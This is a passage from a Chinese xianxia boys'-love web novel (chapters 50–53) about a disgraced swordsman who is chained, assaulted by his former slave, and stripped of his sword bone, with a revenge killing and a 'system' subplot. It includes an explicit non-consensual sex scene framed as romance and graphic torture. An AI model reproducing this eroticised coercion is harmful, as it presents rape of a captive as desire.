见状,谢霁面沉如水,双手紧攥,含怒瞥了眼谢妄之。谢妄之心神俱震,面色一瞬煞白,呼吸急促。 空气沉寂压抑,世家长老中有人发出一声冷笑,厉声道:“谢妄之叛道入魔,杀了这么多人,犯下弥天大罪,在你谢霁嘴里,竟只是轻飘飘一句‘犯错’?!” “……”谢霁薄唇紧抿,长睫微垂。 “谢妄之!” 抱着自家孩子尸身的那个中年男人终于回过神,猛然转头看向谢妄之,双目猩红。 接着,他摇摇晃晃站起身来,召出武器在手,暴起攻向谢妄之,怒声嘶吼:“我要让你付出代价!” 谢妄之神色一凛,身体紧绷。 但不等他出手,那人身周忽然现出一圈冰墙,将其牢牢围困。 “谢霁!”见谢霁出手阻拦,有人怒声质问,“谢妄之已然入魔,难道你还要包庇他吗?” 谢霁并不应声,只是分毫不让。 众人相视一眼,不知做了什么决定,彼此轻轻点了下头。 谢霁掌家许久,与这群人打交道不是一日两日,一看众人神色便知此事决不简单。 但他别无选择。 他勾唇冷笑,竟收了剑,撩起袍摆向众人下跪,低头道: “谢家会不计代价为他们重塑肉身,并给予相应赔偿。至于家弟,谢某会亲手废去他的修为并严加看管。还请众仙家念在谢某的面上,放他一条生路。” 第50章 玩物而已。 “兄长!你——” 见兄长为了自己向他人下跪,谢妄之目眦尽裂,颊侧黑色魔纹一瞬蔓延。 但他话未说完,便被谢霁沉声打断:“谢妄之,你也跪下。” 话音落下,众人当即眼睛一亮,看戏似的期待勾唇,目光阴冷嘲讽。 他们哪里是真心想替无辜受害之人讨回公道? “……” 谢妄之连天地父母都不跪,现在要他跪一群臭鱼烂虾? 他站着不动,侧头看向众人,眸底猩红之色更甚,五指攥紧剑柄,冷笑道:“想杀我?先问问我的剑——” “谢妄之!” “……”谢妄之咬牙,眉心紧拧。 他不作声,也不肯跪,脊背挺得笔直,周身魔气汹涌。 双方僵持不下,空气又如结冰。 人群中不知是谁嗤笑了声,嗓音不大,却恰恰好能让所有人听见,语气刻薄:“这就是谢家的教养。” 闻言,谢霁面色更沉,当即单手掐诀,薄唇轻轻开合。 不知念了什么,谢妄之的脊背与膝弯犹如压上千钧之鼎,双腿猝然发软,身形猛地一晃。 他瞪大眼,忙用剑撑住,勉强单膝点地。 但谢霁不停念咒,压力仍在加重。 这是谢家独有的咒印,专门用来管教不听话的弟子。只要身上还流着谢家的血,便至死违抗不得。 谢妄之咬牙拼命相抗,五指攥紧剑柄勉力支撑,周身魔气如潮水掀起阵阵骇浪。 但握剑的手不住发抖,唇角逐渐滑落一缕殷红,双眼、耳朵也不住淌下血液。 终于,挺直的脊背缓慢折下。 直到他再握不住剑,额头也彻底撞上坚硬地面,发出一声沉闷的“咚”。 谢妄之陡然睁大眼,视野却模糊。周遭一切仿佛也离他远去,耳畔只回荡着那一声“咚”。 像是敲在他的脊梁,将他砸得粉碎。 本就是强弩之末,脊背塌下,他苦撑的神思当即散了。 再睁眼时,谢妄之发现自己被拘在榻上。 他当即暴怒,发疯一般挣扎、嘶吼,犹如困兽,直把自己折腾到筋疲力尽,却全是徒劳。 千年玄铁制成的锁链捆住了他的脖颈与四肢,长不过几尺,绷直时也就勉强够他下榻走两步,连屋门都出不得,将他困在方寸之地。 宛如圈养一条畜生。 他的魔气、力量也被这玄铁牢牢锁住,浑身都塌软,使不上丝毫气力。 正粗喘着坐在床沿,垂眸望着自己绵软得握不住拳的手掌发怔,屋门忽被推开。 他循声望去,透过屏风,只见一道颀长白影不疾不徐移动,直到他近前,露出一张昳丽绝尘的脸。 是他养在身边逗玩的贱奴,池无月。 少年像是不知道他身上发生什么,神色如常瞥他一眼便低头行礼,轻声问:“公子昨夜睡得可好?” 未想到自己这副狼狈模样被贱奴瞧见,谢妄之更无法接受,表情一瞬狰狞,怒斥道:“谁准你进来的?滚出去!” “……” 少年平日都表现得十分乖巧,此时却装作不知他发怒,非但没滚出去,还凑上前一步,站在床沿,居高临下地打量着他。 长睫低垂,眸光幽暗,眼神直白赤裸得叫人感到被冒犯。 模样分明与往常没有差别,却又明显能感觉到不同,像是换了个人。 “没长耳朵吗?还不快滚!” 谢妄之眉头蹙得更深,心里愈发恼怒,没来由的仇恨。 他本能厌恶居于下位——要仰头看人,对方一凑近便更加烦躁焦虑,下意识猛推了人一把。 可他没力气,推不动,气得又将手边的软枕掷出去,但那软枕也只是轻落到他脚边。 倒是带得满身锁链一阵叮当哗啦的响,清脆好听。 此时的谢妄之,色厉内荏,软弱可欺。 “公子息怒。” 池无月暗自欣赏片刻才微微一笑,语气平常得像是寒暄,“奴只是来告知公子,家主正与各位世家长老讨论,是否该彻底废去您的修为,剜出剑骨。” 谢家始于剑道,千百年来专注修剑,门中弟子大多也继承习剑的天赋,天生剑骨。 废除修为,再修一次便是。 可若是剜除剑骨,谢妄之便再没有修炼的可能,甚至会沦为残废。 “他们敢!?唔——” 谢妄之瞳孔骤缩,颊侧魔纹蔓延,当即要召剑下榻与众人“理论”。 才走两步,绑缚在身上的锁链猛将他拖拽回去,脊背摔进床褥。他又强撑着坐起身,却再动不了。 他情绪太激动,魔气一瞬汹涌,却被玄铁牢牢压制。太阳穴猛地刺痛,周身经脉犹如烈火烧灼,不由浑身僵住,强自咬牙捺下呻吟。 正难受时,两只手忽然抚上他的脸颊,触感细腻柔软,指腹压着他的眼角来回揉按,力道与技巧都娴熟,舒适得挑不出错处。 按了片刻,池无月轻声问:“公子,这样可有好些?” 谢妄之眉宇微舒,眼底的猩红褪去些许,喉里沙哑“嗯”了声,又疲惫地闭眼。 少年凑近他,温热鼻息轻轻喷在他脸上,仿佛淋下一阵热雨。一面揉按着,一面轻声诱哄: “奴知晓,无论是何种结果,公子断然都无法接受。若是奴有办法助公子脱困,公子可愿一试?” 谢妄之当即睁眼,伸手拂开对方,轻抬下颌:“说。” “奴能破开这锁链,带公子离开这里。” 池无月乖巧收回手,背在身后,手指微微蜷曲着,指腹相互摩挲。 “……”谢妄之眯起眼,目光审视一般在人身上逡巡。 贱奴何时有了这般能耐? 才这么一想,那没来由的,对池无月的仇恨便更清晰具体。 他突兀地回想起渡劫时,劫雷降下,他从天空那道撕开的裂隙中得知一些事。 原来他所在的世界,是一部话本,平平无奇。只是其中的主角,名唤“池无月”。 换言之,池无月,是这个世界的天命之子。 而谢妄之只是一个配角,短短几行便概括他的一生,没有“突破”这种字眼。 这道劫雷降下只为告诉他: 不可能。任凭他天赋再高、再努力。 他无法接受,于是发了疯。 直到谢霁持剑挡住他,迫他下跪磕头,又将他拘在此处。 池无月既知晓他不能接受被锁住、被剜除剑骨,又有办法助他脱困,若是真心想帮,何必还要多此一举问他愿不愿? “呵。”谢妄之盯了会儿池无月,猝然发笑,“说吧,什么条件。” 话音落下,少年唇边笑意加深,眼神却更幽暗:“公子果然聪慧过人。” 谢妄之抱臂嗤笑,紧接着听对方下一句便道: “与我结契。契约成功,我便带公子离开这里。” “……”谢妄之神色微怔,猛沉下脸,双眸一瞬红得炽烈。 “与我结契。我就带你离开。” 见状,池无月眼神更暗,又重复一遍,声音低柔,语气却强硬。 似是笃定他不会拒绝,又似是按捺不住,说着便向谢妄之倾身凑近,向他伸手。 指尖快触及谢妄之的脸颊时,却被人偏头避开。 池无月动作微顿,眼睛眯起,又不依不饶伸手。 未想到,下一刻,谢妄之嗤笑了声,眼神骤冷,猛地抬手赏他一记耳光。 竟将他打得偏过头,脸颊发热发麻,浮起一片鲜红掌印。 他缓慢转回脸。 这一下大概用尽谢妄之全身力气,他大口喘息着,面颊潮红。乌发凌乱,衣襟松散开敞,被浸润得半透,紧黏着肌肤。汗水从颊侧滚落,淌过胸腹鲜明的沟壑。 束缚脖颈的玄色铁链便垂在他胸前,因方才动作幅度太大,此时还在微微震颤摇晃,拍打着饱满肌肉,发出轻响。 蜜色的皮肉逐渐染上红痕,强烈的色差构成难以言喻的视觉冲击。 池无月被吸引目光,无法自控地盯着那抹艳色,喉间涌上难耐的焦渴,不自觉地吞咽。 分明落魄至此,形容狼狈,谢妄之却抬起下颌睨他,神色倨傲,咬牙切齿: “真以为本公子毫无办法,非你不可?你算什么东西,也配与本公子结契?” “……” 迷乱神思一瞬被扯回,池无月身体微僵,缓慢抬眼,紧盯着谢妄之颊侧的魔纹,眼神暗得发沉。 传闻修者入魔之后,理智尽失,全无束缚,行事只凭本心。 高傲如谢妄之,应该更是如此。 定然……不屑于说谎。 他沉默了会儿,轻声道:“奴心有一问,困扰多时,恳请公子解答。” “说。” “公子当初为何救我,为何收留我?又为何……”池无月顿了顿,嗓音低哑,竟微微哽咽,“待我好?” 话音落下,空气静默片刻,谢妄之猝然低笑了声:“呵。看来,你好像一直误会什么。” “……”池无月面色微白,身体更僵,连呼吸都屏住。 谢妄之饶有兴致地观察对方的反应,唇角勾着,眼神却冰冷嘲弄: “自然是因为本公子心善,又恰好心情不错,想养条狗罢了。他若是乖巧听话,宠一宠又如何?玩物而已,倒把自己看得太重。” 闻言,池无月面色煞白,视野一瞬模糊,垂在身侧的双手猛地攥紧。大概是不想令他看到自己这副表情,又撇过头。 谢妄之却嫌不够,非去惹他。伸手一拽对方衣襟,把人扯下来,手指锢住对方下颌,强迫池无月与自己对视。 恰好看见一道湿痕自对方眼尾滑下。 他笑意更深,“你以为是为什么?嗯?以为本公子心悦你?” 接着神色骤冷,猛地甩开对方,“做梦!” 未想到,池无月一把攥住他的手腕,往回大力一扯,俯身攫住他的唇。 50-60 第51章 贱奴! 谢妄之陡然睁大眼,另手就要把人推开。 但此时的他推不动,反被对方锢住后脑、圈着腰,丝毫动弹不得。 虽是如此,双唇紧贴的瞬间,喷在他面上的呼吸一瞬凝滞,随后变得紊乱粗重。 紧贴的身躯也僵硬,像是很不习惯,或是不知该怎么做,半晌没有下一步。 谢妄之挣扎着撇开头,还未及嘲讽出声,对方又追上来,将他按得更紧。 他一时气得昏了头,张嘴在人唇上狠狠一咬,想让池无月知难而退。 未想到落在对方眼里,竟是邀请和提示。 本来只是紧贴着,对方立刻有样学样咬他的嘴唇,又似是担心将他咬疼,轻含着他吮吻,试探地伸舌舔他。 接着很快得寸进尺,舌尖拨开他的唇瓣,想侵入他的口腔。 见谢妄之不肯张嘴,竟又在他唇上咬了一口,趁他吃痛张嘴之际,突破了防御。 谢妄之愈发恼怒,回敬了池无月。 但直到嘴里尝到血腥味,对方都并未退开,反倒把人惹兴奋,不停追着他勾缠推撵。动作青涩却狂热莽撞,叫人难以招架。 半晌挣脱不开,谢妄之的气息也渐渐粗重。 唇舌交缠间,耳畔水声粘稠,一只手悄然覆上他的胸口。 指尖凝着灵力,触之滚热,在他身上来回勾画着什么图案,所经之处仿佛燃起大火,传来强烈的烧灼刺痛。 连神魂都像是被炙烤着,快要被烙出印。识海也被侵入,大脑一阵刺痛。 意识到什么,谢妄之猛然再度激烈挣扎,双眸猩红,疯狂而凶狠地撕咬对方的唇舌,浓郁的铁锈味充斥鼻腔都不肯松口。 周身魔气再度汹涌,束缚他的铁链哗啦啦一阵响,不住剧烈震颤摇晃,快要压他不住。 但最后是池无月自己退开,伸手轻抹去唇上的血放到眼下一瞥,又抬眸看来。 谢妄之仍在挣扎,低着头,额发凌乱垂落,英俊面容被遮挡些许,透过发间缝隙可见一双赤色的眼睛。 眉心紧拧,神色凶狠,嘴唇湿润却沾着血,像是一头被锁链拘着,随时可能扑咬出去的野兽。 危险却迷人。 “……”池无月微微眯眼,反应平静,眼神却幽暗,“就算只是为了离开这里,公子也不愿与我结契么?” 谢妄之大口喘息着,闻言嗤笑,毫不犹豫斥了声“滚”。 结契之后,双方须对彼此保持绝对的忠诚,生死相依,不离不弃,平等共享所有,包括修为,记忆与情感。 若有违者,将遭受契约反噬与惩戒,轻则修为受损,重则走火入魔、危及生命。 并且,契约生生世世捆绑,难以解除。 要他和贱奴结契? 怎么不直接杀了他。 池无月抿唇沉默,双目紧盯着谢妄之,眸光暗沉如夜,看得人毛骨悚然。 片刻后,他猝然轻笑了声,“如果我偏要呢?” 话音落下,池无月猛然欺身上前。 谢妄之睁大眼,猝不及防间,视野天旋地转,眼前朦胧了一瞬。 再看清时,他已被池无月压在榻上。 他忙用手肘撑着床面往后缩,同时抬腿去踹,却反被人抓着脚踝大力往回扯,将他拖到身下。 紧接着,也不知对方怎么做的,竟用铁链缠住他的双手禁锢在头顶,勒得皮肉深陷传来刺痛。 “池,唔——” 谢妄之瞪大眼,愈发怒不可遏,激烈挣扎。话未说完,只见对方俯身,再度吻住他的嘴唇。 大概是被激怒,这次对方吻得凶狠许多,不止在他口腔翻搅,还将他掳至自己的地盘。甚至伸手锢着他的下颌,不容许他闭拢自己的口腔。 舌尖被吮吻得发麻发痛,下颌骨一直保持张开也渐渐酸麻,涎水不住溢出唇角。 直到池无月终于将他松开,谢妄之的舌头与下颌已酸麻到快要失去知觉。 对方松开他,又顺着他的脖颈往下吻。手掌也覆上他的胸口,但并非是如方才一般画印。 过会儿便埋下头。 “池无月,你敢!——” 谢妄之感觉到一阵淋雨般的湿润酥痒,一时羞怒更甚,却不由自主弓起身子发抖,只得紧紧咬牙。 那阵雨顺势往下淋。池无月忽然道:“奴是第一次,可能做得不好,还请公子多担待些。” 话音落下,谢妄之只觉腹部过电般酥麻,猛地直起上身,僵直一瞬又落下去,身体抖得更厉害,发热发软。 “贱奴!滚开,呃——” 他挺起身,挣扎着抬脚去踹,对方却顺势往前,用肩膀卡着他的膝弯。于是他又瘫下去。 挣扎间,锁链晃动着不住作响。他死死咬牙憋住,又撑起身低头看向自己腿间。 只见池无月顶着那张能颠倒众生的脸做这种事,神色却如常,专注认真。 似是察觉他的目光,动作的同时抬眸看来,眼神炽热幽暗。接着微微松开些,探出湿软的舌勾了一下,唇角银丝流淌。 “贱、奴……” 谢妄之一怔,本要讥嘲什么,晃了下神便将要说的话忘得一干二净。 紧接着,腰眼酸麻阵阵,腿根肌肉抽搐,他的脖颈随之后仰,视野朦胧不清,充斥一片白芒。 等反应过来时,池无月已经直起身,喉头轻滚着,正抬手抹去唇边的一道粘稠丝线。 谢妄之瞪大眼,脸颊与身体一瞬热烫得要融化,只觉那缕白丝分外刺目,屈辱与羞耻一瞬盈满心胸。 而池无月还凑上前来,眨巴着眼睛问:“公子觉得如何?可还满意?” 像是邀功,又像是撒娇,说着还轻轻蹭他的脸,诱哄道:“公子若是喜欢,结契之后,奴每日都这样服侍公子,好不好?” “呵。” 谢妄之撇开头,分明身体还未冷却,却勾唇冷笑,说的话毫不留情: “是因为出身下贱,所以也只会使些下作手段吗?你凭什么以为,本公子会瞧得上你这种以色事人的东西?” 池无月闻言登时面色煞白,双眸愈加湿润,嘴唇微微颤抖。衬着那张脸,愈发惹人怜惜。 谢妄之嫌恶蹙眉,又冷声催促道:“没听明白吗?还不快滚。” 话音落下片刻,池无月都没有动作。嘴唇紧咬着,试图憋住声。 又过了会儿,身躯猛然强硬嵌入他腿间。 “池无月!滚开!” 感觉到什么,谢妄之瞳孔骤缩,猛然挣扎着踢蹬,脊背蹭着床褥往后退。 对方不闪不避,被他狠踹了几脚,却如磐石般纹丝不动,还眼疾手快地掐住他的腰,一把拖回去,甚至将铁链缠绕在自己手臂上。 那铁链长不过几尺,本就极大限制谢妄之的行动,这下更逃不脱。 仿佛神魂也被一寸寸侵入,交融。铁链又甩动起来,不住作响。 耳畔一片嗡鸣,视野朦胧不清。谢妄之浑身僵住,不由自主仰起头,仍倔强地紧咬着牙,将呻吟都堵在喉中。 脖颈却传来一股极大的拉力,迫他挺起上身。这才看清池无月向他俯身,离他很近。 但看清的同时,他已经被迫主动吻上对方的唇。 他睁大眼,立时后仰,双唇一触即分。对方却紧攥着束缚他脖颈的锁链,令他停在半空,宛如驯服一头野兽。 谢妄之狠狠瞪着对方,咬牙切齿,腮帮都发痛,与人僵持不下。 池无月沉默与他对视,喉间轻滚,眼神更炽热。 片刻,他的身体猛然剧烈颠簸,仿佛在风暴中行船。 竟只有拴着脖颈的铁链能予他几分平衡的安全感。 但谢妄之不屑一顾。 铁链绷直,将他的脖颈勒紧。皮肉被迫深陷,浮上一片艳丽青紫,甚至淌出鲜血,仿佛喉骨也要被勒得变形、碎裂。 眼前阵阵发黑,快要窒息。谢妄之却浑不在意,睨着对方,神色傲然。在快失去意识之前,还挑衅地勾唇一笑。 池无月睁大眼,一瞬哭得更凶,终于松手。 原来这锁链,不是锁谢妄之的。 * 谢妄之再恢复清醒时,竟发现这锁链解开了,而池无月不见踪影。 心头一瞬生出些复杂情感,但他没空细品,立时下榻,双腿却酸软无力,猛然跪了下去。 他一时羞怒,用手撑着床榻起身。 才站直了,门外又传来声响,紧接着,屋门又被打开。 是谢霁。 “你?” 兄长见他竟能挣脱出千年玄铁的束缚,不由讶然挑眉,但一瞬之后便恢复平静,看他的眼神复杂幽深。 片刻,他轻叹了声,微微侧头道:“将二公子带走吧。” “要做什么?” 谢妄之本能戒备,身体绷紧,又顺着对方的目光看去。 只见几个家仆进来,各个修为高强,要做什么不言而喻。 但不等谢妄之反应,谢霁又念咒,迫他听话。 才解开不久的玄铁又将他锁住,接着由家仆们押着带到清明堂中。 都到地儿了,谢妄之哪还不明白要做什么? 堂中早就候着一堆德高望重的各世家长老,其中一人见他们进来,当即抚掌赞道:“谢家主大义。” 谢霁没应声,目不斜视。 而谢妄之听这声音相当年轻,便瞥去一眼。 竟是个熟人。 第52章 【宿主严重违规,触发惩…… 对方正巧也在看谢妄之。 一双凤眸微挑,长睫低垂,往日掩藏的仇恨与厌恶在此刻尽显,还带着几分嘲讽,眼神冰冷刺骨。 是裴家的新任家主,裴云峰。 对方见他看过去便收回视线,换了副痛惜表情,仿佛方才的冰冷眼神只是错觉,摇头叹道: “裴某与谢二公子自幼相识,常在一起修炼,多年来情同手足。谢二公子惊才绝艳,当是吾辈楷模,未想今日……哎,真是造化弄人啊。” 谢妄之没反应,谢霁还以为他毫不知情,轻叹口气低声解释道: “在你昏迷后,诸位长□□同商议如何处置你,超半数同意对你网开一面,前提是……要剜除你的剑骨。” “是么?还真是难为他们了。”谢妄之微微勾唇,眸中闪过猩红之色,又随口问了一句,“超半数,具体是多少?” “……”谢霁顿了顿,但寻思告诉他也无妨,便又叹了一声,“谢家没有投票权,全由他们决定。同意的,正正好多一票。” “那,”谢妄之闻言眉峰一挑,紧盯着裴云峰,“裴云峰同意了?” “……嗯。”谢霁点头。 谢妄之唇边笑意加深,眸色却愈红。 他与裴云峰确实自幼相识,多年来感情深厚。但自从裴云峰继任家主之位后,两人的联系便很快淡了。 其实他没什么所谓的。毕竟当家主确实就要忙一些,兄长就是如此。 他就是这么安慰自己的。 只是如今看来,多年好友的疏远另有缘由。 大概是真恨他或者谢家,几句话的功夫都等不了,堂中的一位长老忍不住出声催促,语气刻薄: “谢家主,人既已带到,便请行刑吧。还是说,谢家主反悔了?哼,若是下不去手,想必在座各位都很乐意代劳。” 谢霁攥紧手指,沉默许久,终于召剑在手,回身看向谢妄之,双目发红,轻声道:“忍着些。” “兄长!” 谢妄之顿时浑身紧绷,忍不住挣扎。 但他的身体被玄铁与谢家的咒印束缚,动弹不得,竟只能眼睁睁看着兄长提剑而来,目眦尽裂。 曾经,兄长也如这般向他走来,但那时是将剑递到他手中,是教他习剑。 他生性狂妄自大,与一众谦逊斯文的谢家子弟格格不入,甚少人愿意接近他。 兄长却说,他很欣赏谢妄之的性格,也很羡慕。 年幼的谢妄之童言无忌道:“兄长也可以。” 但谢霁只是笑了笑,轻轻摇头。 那时谢妄之还不明白为什么,但此时迎着兄长的剑,看见他身后一众分明幸灾乐祸、觉得大快人心,却还要费力藏起真实表情的世家长老们,终于知道。 ——要做家主,便不能只当“谢霁”。 铮然一声,长剑出鞘,刺入皮肉。似在搜寻他浑身力量汇集之处,彻骨寒气贴着皮肉与筋骨一寸寸摩挲。 后腰传来灭顶剧痛时,谢妄之再跪不住,猛地伏倒,身体不自觉发抖。 他想再直起身,可用尽了气力,也只是像条可怜的蛆虫般来回蠕动。 视野模糊,耳畔嗡鸣,他感觉不到周遭。 但他知道会有许多人看他笑话,于是咬紧了牙,一声没出。 难怪他当不了家主。 他只想做“谢妄之”。 * 再度昏迷的谢妄之被带下去休息,剜出的剑骨自然由谢家以外的人看管。 谢霁的剑术很是高超,那被剜出的剑骨干净剔透,谢妄之连块肉都没掉。他趴伏过的地方只留有一些水痕,但也很快就风干了。 裴云峰收下剑骨,多看了两眼,但也仅此而已,很快转身走了。他还要赶着回裴家。 未想到,有人将他拦住。 廊柱后露出的一片雪白衣角纤尘不染,垂在腰间的乌发随风飘荡。 对方走出几步,露出一张昳丽绝尘的脸,像是山中才会出现的鬼魅。 “你是……?”裴云峰蹙眉回忆了会儿,轻蔑勾唇一笑,“哦,原是谢妄之养在身边的那个奴隶啊。不去好好伺候你家公子,来找我做什么?” 谢妄之已经失势,兼之四下无人,他懒得再伪装,抱臂打量一番,笑得别有深意: “怎么?是见他已经变成废人,准备另投靠山吗?真是可惜,你找错人了,我没有他那种爱好。不过,看在你家公子的面上,你若是跪下求我,我可以考虑为你引荐引荐。” “没兴趣。”池无月冷淡回了一句。 裴云峰自觉这番话已足够羞辱,未想对方反应平平,像是一拳打在了棉花上,不由沉下脸。 不愧是谢妄之身边的人,都一样招人厌恶。 他不想再费口舌,摆手道:“我现在心情好,便不与你计较。快滚吧。”说着他就要走。 未想对方跟着挪了一步,挡住他去路,道:“剑骨还来。” “‘还’?哈哈哈……”裴云峰轻声重复,眉峰挑起,随即捧腹笑得夸张,前俯后仰,“你竟然替谢妄之来讨剑骨?若不是我知道他,我都要感慨一句主仆情深了。” “……”池无月抿紧嘴唇,眼眸不悦眯起。 “谢妄之知道你这么忠心耿耿吗?还是他给你灌了什么迷魂汤?”裴云峰继续嘲讽,故作怜悯地摇头叹息,“放弃吧,谢妄之那样的人,不可能接受一个奴隶。” 对面看他的眼神愈加刺骨,他像是浑然不觉,笑得恶劣,摊手道:“按我说,就你们现在这样是最好的。一个贱奴,一个残废,不是很般配吗?” 话音落下,眼前突然一花,还与他隔着好些身位的人竟是眨眼间便到他近前,伸手掐住了他的脖颈。 “你!——” 裴云峰猝不及防,陡然瞪大双眼,只觉喉骨下一刻就要被捏碎般传来窒息剧痛,下意识激烈挣扎起来。 但任凭他如何拉、拽,对方的手都紧紧掐着他,纹丝不动。甚至十分轻松地将他举起来,迫他双脚离地,恐慌也一瞬达到了顶峰。 这奴隶,修为何时高得这般恐怖?!怎么他先前从未察觉?? 池无月唇角微勾,双眼却充斥一片猩红,额角与脖颈浮出几丝青筋,轻声道: “你说谁是残废?公子瞧不瞧得上我,用不着一个死人来费心。” “呃——” 裴云峰不住挣扎踢蹬,俊美的脸庞很快胀成了猪肝色,眸光微微涣散,眼珠渐渐上翻。 “咳咳……” 在濒临窒息时,对方忽然将他松开,身体瞬间跌落,重重摔在地上。他大口喘息,随即被呛到,捂着喉咙剧烈咳嗽,涎水都滴到地面,模样狼狈至极。 不等他缓过劲来,池无月又抬脚将他踹翻在地,靴履踩在他脸上充满恶意、凌虐地来回碾动,像是要踩碎他的颅骨,居高临下道: “方才在堂里,公子盯着你看了许久。他喜欢你这张脸吗?你说你们‘情同手足’,具体是亲密到什么程度?” 裴云峰无论如何都挣脱不出,屈辱更甚,愈发怒不可遏,又不甘心,竟破罐破摔地继续嘲讽道: “你既有这般能耐,方才何不出手阻止?眼睁睁看着你家公子受刑后才来向我讨回剑骨,呵,何等虚情假意!既如此,要不要猜猜看,你将剑骨拿回去,谢妄之会先怀疑你,还是先感谢你?” “呃——” 空气静默一会儿,头顶传来的压力陡然加大,裴云峰的视野已经花白,耳畔嗡鸣阵阵。 他先前便想放出信号求助,可掐诀至一半灵力便散了。身体被压制得彻底,动都动不了。 不过他心里其实是存了些侥幸的,量池无月不敢真的杀他。 未想池无月下一句便道:“就让你这样去死也太便宜你了,不若也让你尝尝剜骨之痛,如何?” “不、不!啊——” 裴云峰瞳孔骤缩,拼命挣扎起来试图逃跑,但对方丝毫不给他机会。 朦胧视野中,只见万千剑影如细密雨丝落下,浸润衣物,穿透皮肤,寒意入骨。 从指尖与脚趾开始,骨头一块接着一块被剔出,细致缓慢,仿佛春蚕食桑,沿着筋骨啃噬,难以言喻的灼痛麻痒令他克制不住地翻滚、抓挠,但无济于事。 “池、池无月,我把剑骨还、还给你,别、别杀我!呃啊啊——” 裴云峰终于受不住,一面崩溃讨饶,一面掏出谢妄之的剑骨递出去。脸上涕泗横流,发丝湿润凌乱,衣衫褴褛,较之街边乞儿亦不遑多让,再无半分神气模样。 池无月将谢妄之的剑骨收好,但动作不停。 “我不是已将剑骨还你了吗?!”裴云峰气急败坏地嘶吼。 “嗯。”池无月应了声,微微笑着,语气低柔却叫人毛骨悚然,“但我何时说要放过你了?” “你!——” 当四肢都没有骨头支撑时,即便池无月没再按着裴云峰,他也动不了。 直到躯干、脖颈的骨头也被剜出,满身皮肉绵软无力,他像是一滩烂泥般蜷在地上,浸在血泊之中。 接着,一道依稀可辨出人脸的白影从裴云峰的身体钻出,急速飘远。原是肉身损毁严重,裴云峰的元神企图脱逃。 但池无月只是瞥去一眼,那道白影当即散了。 裴云峰真死了。 下一刻,池无月的脑中响起尖锐的警报声。 【警告!警告!宿主在二十四系统时内连续两次严重违规,后果不可估量,情节极其恶劣,触发惩罚机制。立即实施!】 “唔……” 全身传来难以言喻的锐痛,神魂也被凌迟。池无月猝不及防,猛地喷出口鲜血,身躯摇晃。 他满不在乎伸手抹了下嘴唇,顶着持续的锐痛唤出灵火,将裴云峰的尸体烧个干净。 【监测到宿主毫无悔改之意,现追加惩罚:抹消宿主有关原生世界的记忆。立即实施!】 【10%,20%……】 大脑当即传来不同于锐痛的感觉。 像是海水一瞬没过头顶又退去,来回往复,将身上看不见摸不着的东西带走。犹如掠过一缕风,无法触摸,但能清晰感知。 池无月不由怔了一下。 脑中的声音继续着,当进行到一半时,他发现自己果真忘了什么,终于变了脸色。 “你不就是担心,裴云峰死了,剧情进行不下去了吗?”池无月微微眯眼。 脑中的声音明显迟滞。 池无月继续道:“既然如此,我来当‘裴云峰’。” 【系统计算中……】 池无月胸有成竹,当即唤出一面水镜,比对着裴云峰的模样施展幻形术。但他厌恶裴云峰,便改动了些。 终于完成,脑中的声音也响起。 【通过。追加惩罚更改为:封锁记忆。】 第53章 无法令他甘愿低头。…… 原生世界的记忆被封锁之后,池无月神色空白一瞬,但很快恢复如常,反身去找谢妄之。 未想到,本该重伤卧床的人不见踪影,被褥冰凉,显然是走了好一会儿。 他下意识用神识探查。 渡劫圆满,离飞升登仙就差一步之遥的修士,神识探查的范围少说是方圆万里。 山川河海如掌中纹路垂眼可见,虫鸣与飞鸟振翅如耳畔私语清晰可闻。只要他想,任何一点风吹草动都逃不脱他的感知。 但他探查不到谢妄之。 池无月很快意识到什么,神色骤变,对着空无一人的床榻冷声质问:“你将他弄到哪儿去了?!” 空气静默,无人应答。 他怒不可遏,双眸血红,额角与脖颈浮现黛青纹路。 在灵力暴动之前,终于,脑中传来声音。 【无可奉告。这是宿主违规的惩罚之一。】 “你!”池无月神色狰狞,指尖聚起灵力,毫不犹豫按在自己脖颈,用力划出一道血线,“把他还给我。” 脑中的声音停顿片刻,语气仍毫无起伏。 【重启之后,剧情进度将再次清零。】 “……” 剧情进度清零,意味着一切都要重来。 也意味着,谢妄之很可能要再经受一次剜骨之痛。 池无月攥紧手指,神色挣扎,半晌终于放下手,嗓音艰涩问:“那我什么时候能再见他?” 【剧情进度60%】 * 混沌的神思在嘴唇传来刺痛时被扯回。 谢妄之迟缓地眨了下眼,勉强从那两池漆黑的深潭中浮上水面。 他感觉自己方才做了个梦,不知是回到过去还是穿梭到了未来。 但现实的情况是,他还在白家游学。白青崖与裴云峰强迫了他,紧接着,想避开的池越找上了门。 “怎么了,是想起了什么?” 池越双眸漆黑,仿佛能将一切吞噬,之前闪过的金红色就被完全遮掩,谢妄之丝毫没有察觉。说话时唇瓣开合,贴着谢妄之轻轻摩挲。 分明是他自己问的话,却又不是真的想听谢妄之说什么,话音落下又吻住对方,根本不给人开口的机会。像狗一样,但比狗还黏糊缠人。 谢妄之顾不上躲,仔细回忆一遍方才看到的画面,任由池越吻了一会儿才偏过头。 他光记得自己被剜去剑骨之前便因心障入魔,而后被修仙界众人围剿。 却不记得,他实际是因“渡劫失败”入魔发疯,来阻止他的修士全被他杀了。 他光记得裴云峰投了关键的赞成票,直接导致自己最终被剜去剑骨,池无月也忘恩负义,抛弃了他。 却不记得在此之前,裴云峰其实早与他陌路。倒是他以为的忘恩负义的池无月,一开始就说能帮他,只是以结契为条件。 而他记得的,白青崖曾为他说过话。可是在方才的梦中,在清明堂里,他根本没看见白青崖,又何来帮他说话?甚至,梦中的他,根本想不起来有白青崖这个人…… 他的记忆简直是一团乱麻,谢妄之顿觉头疼,忍不住伸手按了按眉心。 不过,这些其实都无所谓,现在最主要的问题不是这个。 他更想知道,分明这一次他亲手破除了心障根源,为何自己现在是这副状态?毫无理由,太过突然。 因入魔发疯,杀害无辜之人而受剜骨之刑,他认。但若是这次他并未丧失理智杀人,他还要受刑吗? 天道曾经无数次拒绝了他,如今竟还想杀他。若这就是他的命,要他听之任之? 休想! 谢妄之微微眯眼,正思忖着,池越忽然牵着他的手放下来,问:“谢妄之,跟我结契好不好?” “呵。你觉得呢?”谢妄之神色微怔,随即勾唇笑了一下,眼神嘲讽。 未想到,池越只是委屈地扁了下嘴唇,并未坚持,还问他道:“那你喜欢谁?池无月,裴云峰,白青崖,还是司尘?你想和他们结契吗?” 不等他答话,池越竟又补了一句:“没关系,你想和他们中的谁结契都行,我尊重你的决定。” “嗯?” 见池越神色真诚不似作伪,谢妄之不由意外挑眉,但也没答话。 其实不是喜欢谁、和谁结契的问题,是他根本没想过结契这件事。 